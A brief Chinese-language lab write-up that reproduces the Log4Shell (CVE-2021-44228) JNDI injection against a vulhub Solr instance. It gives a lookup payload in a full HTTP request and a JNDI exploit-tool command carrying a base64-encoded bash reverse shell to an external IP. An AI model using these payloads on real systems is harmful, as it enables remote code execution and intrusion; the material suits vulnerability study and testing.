CVE-2021-44228复现

漏洞原理

log4j 2是Java语言的日志处理套件,使用极其广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过lookup进行JNDI注入,执行任意代码

漏洞环境

使用vulhub搭建环境。

image-20230619105310171

访问http://you-ip:8983

image-20230619105400013

判断是否存在JNDI注入

${jndi:dns://${sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:

1
2
3
4
5
6
7
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

image-20230619105601965

成功获取版本号

image-20230619105619618

然后我们可以使用JNDI注入工具进行利用。工具链接:https://github.com/su18/JNDI

使用方式:

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

如下命令:

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuMTk4LjQ1LjE2Mi84MDAwIDAmPjE=}|{base64,-d}|{bash,-i}" -A 116.198.45.162

image-20230619111334397

监听8000端口,然后再进行请求

image-20230619111908065

成功反弹shell